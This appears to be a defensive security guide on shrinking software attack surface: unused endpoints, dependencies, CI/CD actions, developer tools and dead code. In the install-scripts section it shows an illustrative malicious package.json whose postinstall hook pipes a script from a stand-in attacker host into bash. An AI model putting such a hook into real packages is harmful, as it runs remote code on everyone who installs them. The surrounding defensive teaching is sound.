Back to Home

Software Attack Surface Reduction

Back to Index

“Every line of code is an attack surface — whether you wrote it or not.”

Software ASR is the architecture, the code, the build tooling, and the developer workflows that decide what the system is made of. Bloated frameworks, extra microservices, and privileged dev tools usually make that surface the largest and least controlled.

The point is not writing less code for its own sake. Own every dependency, feature, endpoint, and tool in the pipeline, or do not keep it.


1. Minimize Features, APIs, and Endpoints

Every API endpoint, feature flag, and admin interface is a way in. Expose more and you have more to secure, test, and keep alive.

Only Expose Interfaces You’re Committed to Maintain

The problem: Teams ship features, then forget them. Unused endpoints pile up like debt, except this debt is reachable.

Discovery process:

# Find API endpoints with zero traffic
# (Requires access logs analysis)

# Example with nginx logs
cat access.log | awk '{print $7}' | sort | uniq -c | sort -rn | tail -100

# Or with application metrics
# Check your APM tool (Datadog, New Relic) for endpoints with:
# - Zero requests in 90 days
# - High error rates (broken, unmaintained)
# - No test coverage

Decision framework:

For each API endpoint, ask:

1. **Is it documented?** If not, who uses it?
2. **Is it tested?** If not, does it even work?
3. **When was it last called?** If >90 days, candidate for removal
4. **What data does it expose?** Is that necessary?
5. **Who can call it?** Public, authenticated, admin only?
6. **What's the business value?** Can't articulate = candidate for removal

Avoid Debug/Experimental Endpoints in Production

Anti-pattern: Debug endpoints left in the production build.

Common examples:

  • /debug/vars - Exposes internal metrics
  • /admin - Without authentication
  • /__debug__/ - Django debug toolbar
  • /api/v2-beta/ - Experimental API still accessible
  • /health?debug=true - Verbose health checks revealing internal state

Prevention: Build-time feature flags

// Go example: Compile-time flag to remove debug code
// +build !production

package debug

func ExposeInternalMetrics() {
    // This entire function is not compiled in production builds
}

// Build commands:
// Development: go build
// Production: go build -tags production
# Python example: Environment-based endpoint disabling
from flask import Flask, jsonify
import os

app = Flask(__name__)

@app.route('/debug/state')
def debug_state():
    if os.getenv('ENVIRONMENT') == 'production':
        return jsonify({"error": "Not found"}), 404
    
    # Only works in dev/staging
    return jsonify(internal_state)

Use Feature Flags Responsibly

The problem: Feature flags accumulate, then become permanent. The dead flag is still code; nobody is sure which branch is live.

Best practices:

// Document expiry date in flag definition
const featureFlags = {
  newCheckoutFlow: {
    enabled: true,
    createdDate: '2024-01-15',
    expiryDate: '2024-03-15',  // Must be removed by this date
    owner: 'checkout-team',
    jira: 'PROJ-1234'
  }
}

// Automated cleanup check
function checkExpiredFlags() {
  const now = new Date();
  Object.entries(featureFlags).forEach(([name, config]) => {
    if (new Date(config.expiryDate) < now) {
      throw new Error(`Feature flag '${name}' expired on ${config.expiryDate} - remove it!`);
    }
  });
}

Flag cleanup process:

# Monthly audit: Find old feature flags
grep -r "feature_flag\|featureFlag" src/ | \
  grep -E "20(20|21|22)" | \  # Find flags from old years
  sort | uniq

# Each should be either:
# 1. Removed (flag and code)
# 2. Made permanent (remove flag, keep code)
# 3. Justified (documented reason for keeping)

Real-World Impact

Case studies: Capital One’s over-broad credentials turned an SSRF flaw into 106 million records

The Equifax breach exploited an unpatched Apache Struts vulnerability in a web application. Multiple endpoints were vulnerable, many of which were legacy code no longer actively maintained.

Reachability is a much smaller set than existence, and it can now be mapped.

Case studies: Linux restricted AF_ALG by default instead of patching it again · Anthropic found 493 reachability issues and OpenSSH gated 4,500 lines of pre-auth code

Further reading:


2. Internal Reuse Over External Dependence

Most of software development is now dependency management. The average web application pulls in hundreds of them. You have audited almost none.

Prefer Internal Libraries You Can Control

The trade-off: An external dependency is fast to add; you do not control updates, patches, or the maintainer. Internal code costs more up front; you own the security posture and you can read it.

When to write your own:

  • Simple utilities (date formatting, string manipulation)
  • Core business logic that differentiates your product
  • Security-critical code (authentication, authorization)
  • High-risk operations (payment processing, encryption)

When to use external:

  • Complex, well-established standards (TLS, OAuth, JWT parsing)
  • Mature, widely-audited libraries (cryptography libraries)
  • Infrastructure code (database drivers, network protocols)

Example decision:

# DON'T DO THIS - tiny dependency for simple task
import leftpad  # 11 lines of code as an npm package

def format_user_name(name):
    return leftpad(name, 20)

# DO THIS - write the 2 lines yourself
def format_user_name(name):
    return name.ljust(20)

Minimize Dependencies With Low Stars, Single Maintainers, Long Chains

Red flags when evaluating dependencies:

Risk FactorWhy It MattersHow to Check
Low stars/downloadsSmall user base = less scrutinyGitHub stars, npm downloads/week
Single maintainerBus factor of 1, burnout riskCheck GitHub contributors
No recent commitsAbandonware, no security patchesLast commit date
Long dependency chainTransitive risk multipliesnpm ls, pip show --verbose
Numerous dependenciesMore attack surfaceCheck package.json / requirements.txt

Audit your dependencies:

# npm: Check for suspicious packages
npm audit

# Find packages with single maintainer
npm view <package> maintainers

# Check dependency tree depth
npm ls --depth=5

# Python: Check dependencies
pip list --outdated
pipdeptree  # Visualize dependency tree

# Ruby
bundle audit check --update

# Go
go list -m all

Supply chain attack examples:

event-stream incident (2018): Popular npm package (2M downloads/week). Maintainer handed over to a malicious actor, who injected code targeting cryptocurrency wallets. Thousands of projects were affected.

colors.js and faker.js (2022): Maintainer intentionally sabotaged own packages with an infinite loop that printed gibberish and broke thousands of projects worldwide.

ua-parser-js (2021): Compromised npm package. Malicious code mined cryptocurrency and installed malware on Linux and Windows.

Don’t Use Full Frameworks for Single Tasks

Anti-pattern: A heavyweight framework for a handful of endpoints.

// BAD: Pulling in 50MB of dependencies for 3 endpoints
const express = require('express');
const bodyParser = require('body-parser');
const helmet = require('helmet');
const morgan = require('morgan');
const compression = require('compression');
const cors = require('cors');
// ... 20 more middleware packages

const app = express();
// Just to handle 3 API endpoints

// BETTER: Use standard library
const http = require('http');

const server = http.createServer((req, res) => {
  if (req.method === 'GET' && req.url === '/health') {
    res.writeHead(200, {'Content-Type': 'application/json'});
    res.end(JSON.stringify({status: 'ok'}));
  }
  // Handle your 3 endpoints
});

server.listen(8080);
// Zero dependencies, clear code, minimal attack surface

Framework size comparison:

# Check actual installed size
du -sh node_modules/

# Example results:
express + middleware: 45MB, 312 packages
fastify: 12MB, 52 packages
standard library: 0MB, 0 packages

Decision matrix:

ScenarioRecommendation
100+ endpoints, complex routingFull framework acceptable
5-10 simple endpointsLightweight framework or standard library
1-3 endpoints, simple logicStandard library only
CLI toolStandard library only
Static site generatorMinimal, focused tool (Hugo, 11ty) not (Gatsby, Next.js)

Real-World Impact

Case studies: SolarWinds distributed a compromised update to 18,000 customers

Research by Sonatype shows one in eight open source downloads contains a known security vulnerability.

Case studies: Twilio Segment replaced 140 services with one service and one repository · Datadog cut its Linux Agent binaries by up to 77% without removing a feature

Further reading:


3. Shrink Your Build and Toolchain

The build pipeline and the development environment are part of the attack surface. Compromise of a build system can inject malicious code into the product.

CI/CD Shouldn’t Pull 30 Plugins for a Static Site

The problem: CI/CD files accumulate actions, plugins, and integrations. Nothing ever comes out.

Bad example (over-engineered):

# .github/workflows/deploy.yml - BLOATED
name: Deploy
on: [push]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - uses: actions/cache@v3
      - uses: some-random-action/do-thing@v1
      - uses: another-action/slack-notify@master  # Untrusted
      - uses: third-action/discord-webhook@v2
      - uses: security-scanner/scan@v1
      - uses: uploader/codecov@v2
      - uses: performance/lighthouse@v3
      - uses: seo/checker@v1
      # ... 20 more actions
      - run: npm run build
      - uses: deployment/action@v1

Good example (minimal):

# .github/workflows/deploy.yml - MINIMAL
name: Deploy
on: [push]

permissions:
  contents: read
  id-token: write  # For OIDC

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      # Build
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm run build
      
      # Deploy with OIDC (no secrets)
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/GitHubActions
          aws-region: us-east-1
      
      - run: aws s3 sync ./dist s3://my-bucket/

Reduce Developer Environment Complexity

The problem: Developer machines accumulate tools, CLIs, and helpers that run with full privileges.

Audit your machine:

# macOS: Check what's installed
brew list | wc -l
# Do you know what all these do?

# Check what's running
ps aux | grep -v "^USER" | wc -l
# Should be <100, not >500

# Check what's listening on ports
lsof -iTCP -sTCP:LISTEN -n -P
# Recognize all of these?

# Linux: Check installed packages
dpkg -l | wc -l  # Debian/Ubuntu
rpm -qa | wc -l  # RedHat/CentOS

# Check systemd services
systemctl list-units --type=service --state=running

Cleanup strategy:

# Remove unused tools
# macOS
brew list | xargs brew uninstall

# Then reinstall ONLY what you actually use
brew install git node python3

# Linux
apt list --installed | grep dev
# Review and remove

Use containers for isolation:

# Instead of installing every tool globally
# Use containers for project-specific tools

# Before:
npm install -g webpack webpack-cli babel eslint prettier
pip3 install ansible terraform-compliance
gem install jekyll bundler
# (Now have 50+ global packages)

# After:
docker run --rm -v "$PWD:/app" node:20 npm run build
docker run --rm -v "$PWD:/app" python:3.11 python script.py
# (Clean host system, isolated dependencies)

Avoid Tools That Require Elevated Access

Red flags:

  • Tools that ask for sudo during install
  • Kernel modules or drivers
  • Tools that want to run as services
  • Browser extensions with “read and modify all data” permission

Examples of risky tools:

ToolRiskAlternative
Docker DesktopRequires privileged accessPodman (rootless)
Global npm packagesCan execute arbitrary code on installnpx (on-demand execution)
System-wide Python packagesConflict with system Pythonvenv or pyenv
IDE with excessive permissionsCan access all filesSandboxed editors

Better practices:

# Instead of global npm installs
npm install -g something  # NO

# Use npx for one-time execution
npx something  # YES

# Or install locally
npm install --save-dev something
npx something  # Runs local version

# Python: Always use virtual environments
python3 -m venv venv
source venv/bin/activate
pip install package  # Isolated

# Don't:
sudo pip3 install package  # Modifies system Python

CI/CD Plugin Security

Verify sources before use:

# GitHub Actions: Only use verified actions
- uses: actions/checkout@v4  # Verified creator
- uses: aws-actions/configure-aws-credentials@v4  # Official AWS

# Avoid:
- uses: random-user/unverified-action@master  # Untrusted
- uses: totally-not-malware/helper@v1  # No verification

# Pin to specific commits (not tags, which can be moved)
- uses: actions/checkout@8e5e7e5ab8b370d6c329ec480221332ada57f0ab  # v4.1.1

GitLab CI security:

# BAD: Running random Docker images
deploy:
  image: randomuser/deploy-tool:latest
  script:
    - ./deploy.sh

# GOOD: Use official images, pin versions
deploy:
  image: alpine:3.19.0  # Official, pinned
  script:
    - apk add --no-cache curl
    - ./deploy.sh

Real-World Impact

Case studies: Codecov’s modified uploader lifted the secrets out of customer build pipelines

Removing a component is cheaper than securing it, and occasionally the team doing it publishes the invoice.

Case studies: authentik removed Redis as a required dependency in its 2025.10 release

Further reading:


4. Limit Codebase Blast Radius

Code layout decides how far a bug travels. A monolith with no internal boundaries means a compromise in one place is a compromise everywhere.

Avoid Global Shared Modules

The problem: Shared utility modules become dumping grounds. Everything couples to them, so a bug in one function reaches every caller.

Anti-pattern:

# utils.py - 5000 lines of everything
def format_date(date): ...
def send_email(to, subject, body): ...
def encrypt_password(password): ...
def charge_credit_card(card, amount): ...
def execute_sql(query): ...
def admin_override_check(user): ...
# Every module imports this

Problem: A bug in any of those functions hits every module that imports utils.

Better approach: Focused modules with clear boundaries

# date_utils.py
def format_date(date): ...

# email_service.py
def send_email(to, subject, body): ...

# auth_module.py
def encrypt_password(password): ...
def verify_password(password, hash): ...

# payment_module.py
def charge_credit_card(card, amount): ...

# Each module imports only what it needs

Segment by Trust Boundaries

Principle: Organize code by security requirements, not just features.

Example architecture:

src/
├── public/          # Unauthenticated endpoints
│   ├── login.js
│   ├── register.js
│   └── health.js
│
├── authenticated/   # Requires valid user session
│   ├── profile.js
│   ├── dashboard.js
│   └── settings.js
│
├── admin/           # Requires admin role
│   ├── user_management.js
│   ├── system_config.js
│   └── audit_logs.js
│
└── internal/        # Server-side only, never exposed
    ├── payment_processing.js
    ├── encryption.js
    └── database_access.js

Enforce boundaries:

// In public/ code, this should fail linting:
import { processPayment } from '../internal/payment_processing';  // ❌ FORBIDDEN

// Use API boundaries instead:
fetch('/api/internal/process-payment', {  // ✅ Goes through auth layer
  method: 'POST',
  headers: { 'Authorization': token },
  body: JSON.stringify(paymentData)
});

Linting rules:

// .eslintrc.js
module.exports = {
  rules: {
    'no-restricted-imports': ['error', {
      patterns: [{
        group: ['../internal/*', '../../internal/*'],
        message: 'Cannot import internal modules from public code'
      }]
    }]
  }
};

Kill Dead Code

The problem: Old features, retired APIs, and unused functions stay in the tree “just in case.”

Finding dead code:

# JavaScript: Use webpack bundle analyzer
npx webpack-bundle-analyzer stats.json

# Python: Use vulture
pip install vulture
vulture .

# Go: Use deadcode
go install golang.org/x/tools/cmd/deadcode@latest
deadcode ./...

# Find files not modified in 2+ years
find src/ -type f -mtime +730 -ls
# Ask: Is this still used?

Coverage-based approach:

# Run tests with coverage
npm test -- --coverage
pytest --cov=src --cov-report=html

# Files with 0% coverage are candidates for removal
# (If they're not tested, they're probably not used)

Progressive deletion:

// Step 1: Deprecate (add warning)
/**
 * @deprecated Use newFunction() instead. Will be removed in v3.0
 */
function oldFunction() {
  console.warn('oldFunction is deprecated');
  return newFunction();
}

// Step 2: Monitor for usage
// (Check logs for deprecation warnings)

// Step 3: Remove after grace period
// git rm old_module.js

Real-World Impact

The Apache Struts vulnerability (CVE-2017-5638) that led to the Equifax breach existed in a file upload feature. Many organizations using Struts never called that feature. The code was still there, so they were still vulnerable.

The same argument holds one level up, for services you deploy rather than code you ship.

Case studies: Codat took roughly 400 deployable units down to around 160

Further reading:


5. Hardening Through Simplicity

Complex code is hard to review, test, and secure. Simplicity is a security property, not an aesthetic.

Simpler Code Is Easier to Review and Secure

Complex code example:

# Hard to review - what does this actually do?
def process(data):
    return [x for sublist in [[y for y in filter(lambda z: z%2==0, 
            map(lambda a: a**2, range(item)))] for item in data] 
            for x in sublist if x > 10]

Simple equivalent:

# Easy to review - clear logic
def process(data):
    results = []
    for item in data:
        for number in range(item):
            squared = number ** 2
            if squared % 2 == 0 and squared > 10:
                results.append(squared)
    return results

Reviewers finish simple code. One-liners hide bugs.

Prefer Boring Tools

The “boring technology” principle: Prefer tools that have been around long enough to be understood.

Boring (good):

  • PostgreSQL (since 1996)
  • Nginx (since 2004)
  • Redis (since 2009)
  • Flask/Express (simple, focused)

Exciting (risky):

  • New database that “solves everything”
  • Framework on version 0.3.1
  • “Revolutionary” build tool with 3 contributors
  • Trendy architecture pattern from last week’s HackerNews

Trade-off analysis:

CriteriaBoring TechShiny New Tech
Security track recordDecades of patchesUnknown vulnerabilities
DocumentationExtensiveSparse, outdated
CommunityLarge, experiencedSmall, learning
HiringEasy to find expertsTraining required
Long-term supportGuaranteedMight be abandoned

Avoid DSLs or Custom Runtimes

The problem: A domain-specific language or a custom runtime adds a second language to audit, and hides what actually runs.

Example: Custom templating language

// Custom DSL - hard to audit
{{user.name | uppercase | truncate:20}}
{{if user.isAdmin}}
  {{include "admin-panel" with user}}
{{/if}}

// What does this actually execute?
// Can it escape the sandbox?
// Can user.isAdmin be manipulated?

Better: Use standard languages with explicit code

// Standard JavaScript - clear and auditable
const displayName = user.name.toUpperCase().substring(0, 20);

if (user.isAdmin === true) {  // Explicit boolean check
  renderAdminPanel(user);
}

When DSLs are acceptable:

  • Well-established standards (SQL, HTML/CSS, Regex)
  • Security-focused (Content Security Policy syntax)
  • Widely audited (Jinja2, ERB templates)

When to avoid:

  • Custom-built for one project
  • Turing-complete templating
  • Allows arbitrary code execution
  • No security audit history

Real-World Impact

The Ruby on Rails mass assignment vulnerability was worse because of “magic” framework behavior. Reviewers could not tell which parameters were accepted.

Case studies: Chromium requires steering council and security approval to add a third-party library · Mozilla deleted the FTP client from Firefox instead of securing it

Further reading:


6. Third-Party Code and Tooling Integration (Deep Dive)

Open Source Dependency Discipline

The current state: The average web application has 700+ dependencies, counting transitive ones. You have audited maybe 5.

Audit process:

# Generate full dependency tree
npm ls --all > dependencies.txt
pip list --format=freeze > dependencies.txt

# Check for known vulnerabilities
npm audit
pip-audit
cargo audit  # Rust
bundle audit # Ruby

# Check license compliance (legal risk)
npx license-checker --summary

# Generate Software Bill of Materials (SBOM)
syft dir:. -o spdx-json > sbom.json

Dependency review checklist:

CheckCommand/ToolAction
Known CVEsnpm audit, snyk testUpdate or remove
Last updatenpm outdatedFlag packages abandoned >2 years
Number of maintainersnpm view <pkg> maintainersAvoid single-maintainer critical deps
GitHub stars/forksManual checkLow stars + critical = risky
Download countnpmjs.com, pypi.orgVery low = less vetted
License compatibilitylicense-checkerAvoid GPL in proprietary code

Automated dependency management:

# Dependabot config (.github/dependabot.yml)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 5
    # Auto-merge patch updates only
    automerged_updates:
      - match:
          dependency_type: "all"
          update_type: "semver:patch"

CI/CD Plugin & Marketplace Risk

The problem: The GitHub Actions marketplace has 10,000+ actions. GitLab, Jenkins, CircleCI have similar plugin ecosystems. Most are unaudited.

Vetting process for CI/CD actions:

## Before Using Any CI/CD Action

1. **Check the source**
   - Is it from a verified creator? (GitHub verified badge)
   - Is it officially maintained? (actions/* for GitHub)
   - What's the source repository?

2. **Review the code**
   - Clone the repo: `git clone <action-repo>`
   - Read the actual code (action.yml, main.js)
   - What permissions does it request?
   - What commands does it run?

3. **Check activity**
   - Last commit date (>1 year = potentially abandoned)
   - Open issues (security issues unresolved?)
   - Download/usage stats

4. **Pin to commit SHA**
   - NOT: `uses: user/action@v1` (tag can be moved)
   - YES: `uses: user/action@1234abcd` (immutable)

Example vulnerability scan:

# Audit your workflow files
# Check for unpinned, unverified actions

name: Audit Workflows
on: [push]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Check for unpinned actions
        run: |
          # Find actions not pinned to SHA
          grep -r "uses:" .github/workflows/ | \
            grep -v "@[0-9a-f]\{40\}" | \
            grep -v "@v[0-9]" || true
          
          # Flag for review

Build Tools and Install Scripts

The problem: npm install, pip install, and the rest run arbitrary code on install through post-install hooks.

Example malicious package:

// package.json
{
  "name": "totally-safe-package",
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | bash"
  }
}

When someone runs npm install, that hook runs. No extra step.

Defense strategies:

# npm: Ignore scripts during install
npm install --ignore-scripts

# Then selectively run scripts for trusted packages
npm rebuild <trusted-package>

# Python: Use --no-binary to avoid precompiled wheels
pip install --no-binary :all: <package>

# Or use restricted installation
pip install --require-hashes -r requirements.txt

Lockfile integrity:

# Always commit lockfiles
git add package-lock.json  # npm
git add yarn.lock          # yarn
git add Pipfile.lock       # Python
git add Cargo.lock         # Rust

# Verify lockfile hasn't been tampered with
npm ci  # Installs from lockfile only, fails if mismatch

Signed binaries preference:

# Instead of curl | bash:
curl -sL https://tool.com/install.sh | bash  # ❌ NO

# Download, verify signature, then execute:
curl -sLO https://tool.com/binary
curl -sLO https://tool.com/binary.sig
gpg --verify binary.sig binary  # ✅ Verify
chmod +x binary
./binary

Browser Extensions & IDE Plugins

Developer tool risks:

Browser extensions can:

  • Read all page content (including credentials)
  • Modify page content (inject malicious code)
  • Intercept network requests
  • Access cookies and local storage
  • Monitor clipboard

IDE plugins can:

  • Read all code in your workspace
  • Execute arbitrary commands
  • Modify files
  • Send data to external servers
  • Install additional components

Mitigation strategies:

## Browser Extension Policy

1. **Separate profiles**
   - Personal: Any extensions
   - Work: Only approved, audited extensions

2. **Minimal extensions**
   - Only install what you actually use daily
   - Review permissions before installing
   - Audit installed extensions quarterly

3. **Avoid risky patterns**
   - Extension asks for "all sites" permission
   - Extension from unknown developer
   - Extension with low reviews
   - Extension that updates very frequently (why?)

## IDE Plugin Policy

1. **Vet before install**
   - Check download count
   - Read reviews
   - Review source if available
   - Check what permissions it requests

2. **Prefer official**
   - Use official language plugins
   - Avoid "helper" plugins for simple tasks
   - Question plugins that "make everything easier"

3. **Audit installed**
   - VS Code: Check `~/.vscode/extensions`
   - IntelliJ: Check installed plugins list
   - Remove unused plugins

Example audit:

# List VS Code extensions
code --list-extensions

# For each extension, check:
# 1. When did you install it?
# 2. Have you used it in the last month?
# 3. What permissions does it have?

# Uninstall unused
code --uninstall-extension <extension-id>

Real-World Incidents

npm package compromises:

  • event-stream (2018): Malicious code injected to steal Bitcoin wallet keys
  • ua-parser-js (2021): Compromised to install cryptocurrency miners
  • colors.js (2022): Maintainer intentionally sabotaged with infinite loop

Browser extension attacks:

  • Chrome extension malware (2020): 111 extensions caught stealing data
  • Browser Security Inspector (2021): Posed as security tool, stole credentials

IDE plugin risks:

  • VS Code extension attack (2021): Malicious extensions uploaded mimicking popular ones
  • IntelliJ plugin vulnerability (2022): Remote code execution in plugin framework

Case studies: Chromium requires steering council and security approval to add a third-party library

You do not need a review board to copy the useful part: require the person adding a dependency to write down what it will cost to keep.

Further reading:


7. Guidelines for Software ASR

Code & Build IssueASR PracticeImplementation
Over-featured APIsDisable or remove unused endpointsTraffic analysis; feature flag cleanup; endpoint audit
Framework bloatStrip unused modules, reduce dependenciesMinimal base images; tree shaking; dependency audit
CI plugin sprawlPin versions, remove unused, self-host when possibleCommit SHA pinning; quarterly review; minimize actions
Complex dev toolsUse fewer, vetted, non-root-requiring toolsContainer-based tools; avoid global installs
Shared code risksSplit monoliths by trust zone, not just functionEnforce module boundaries; linting rules
Dead codeArchive or delete it. Don’t ship it.Coverage analysis; vulture/deadcode; aggressive pruning
Supply chain riskAudit dependencies, use SBOMs, pin versionsnpm audit; Dependabot; lockfile commits

8. Final Thought

“You’re not shipping a product. You’re shipping every tool, library, and helper that touched it.”

Software ASR is not coding less. It is shipping only what you are willing to own, maintain, and defend.

The Software ASR mindset:

  1. Before adding a dependency: Can I write this in 50 lines instead?
  2. Before adding a feature: Do users actually want this, or is it speculative?
  3. Before adding an API endpoint: Can existing endpoints handle this use case?
  4. Before keeping code: Has anyone used this in 6 months?

Start tomorrow:

  1. Run npm audit or equivalent — fix or remove vulnerable dependencies
  2. Find your oldest feature flag — remove it or make it permanent
  3. List your CI/CD plugins — remove anything you can’t justify
  4. Count your API endpoints — target removing 20%

Remove a dependency and you close a supply chain path. Remove an endpoint and you close a way in. Remove a tool from the environment and you close a privilege-escalation path.

Less code, less complexity, less attack surface. That is Software ASR.